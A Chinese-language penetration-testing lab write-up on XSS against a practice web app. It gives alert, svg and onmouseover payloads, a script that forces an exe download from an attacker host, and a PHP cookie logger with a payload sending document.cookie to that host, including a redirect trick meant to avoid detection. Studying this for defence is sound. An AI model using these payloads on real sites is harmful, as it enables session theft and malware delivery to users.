渗透实战第三版实验csk-web之XSS

参考资料:
下载地址:

echo 目标机器的ip chat >> /etc/hosts

首先我们看下这个网站,注册一个账号并登陆。网页上有一些存在漏洞的提示。

反射型XSS

http://chat:3000/chatchannel/1

反射型XSS是最简单的xss,因为网页没有过滤用户输入,或者过滤不完全,导致用户可以输入js语句,根据js语句的不同,可以任意执行js代码。

案例一,script标签

<script>alert('xss')</script>

案例二,过滤script标签的情况

<svg onload=alert(1788)>

案例三,点击弹窗

<b onmouseover=alert('XSS')>Click Me!</b>
一旦鼠标移到Click Me!,就提示xss


一旦点击就弹窗

1
2
3
<script>window.location = "https://www.youtube.com/watch?v=dQw4w9WgXcQ";</script>

<body onload="alert('XSS')">

案例四,跳转并文件下载

kali准备恶意代码exe,并开启web服务:

1
python -m SimpleHTTPServer 8001

kali的ip为192.168.159.129

访问路径为:http://192.168.159.129:8001/test.exe

在页面上输入以下代码:

1
<script>var link = document.createElement('a'); link.href = 'http://192.168.159.129:8001/test.exe'; link.download = ''; document.body.appendChild(link); link.click();</script>

于是客户端就会跳转到这个下载地址,http://192.168.159.129:8001/test.exe

这个跳转并文件下载要配合存储型xss。

案例五:cookie窃取

将下面的php代码保存为cookie.php

1
2
3
4
5
6
7
8
9
<?php
header ('Location:https://google.com');
$cookies =$_GET["c"];
$file = fopen('log.txt','a');
fwrite($file, $cookies . "\n\n");
?>

注意第二行header(),不能删除,如果没有这一行,那么目标点击窃取cookie的恶意链接,就会访问http://192.168.159.129:8002/cookie.php?c=xxxxx
这样很容易被发现。

然后用php开启web服务,

php -S 192.168.159.129:8002

这是kali的地址:http://192.168.159.129:8002/cookie.php

存在漏洞的页面输入以下代码:

1
<script>document.location="http://192.168.159.129:8002/cookie.php?c="+document.cookie</script>

成功获取到了admin账号的cookie。

但是这里有个问题,就是使用cookie登陆时候,发现cookie失效的时间太短了。


经过数次尝试,因为输入窃取cookie的js代码,会跳转到google.com,这会导致用户的cookie退出网页,使得cookie直接失效。。

要注意的是,速度要快。。cookie过期跟服务端的网页设置有关。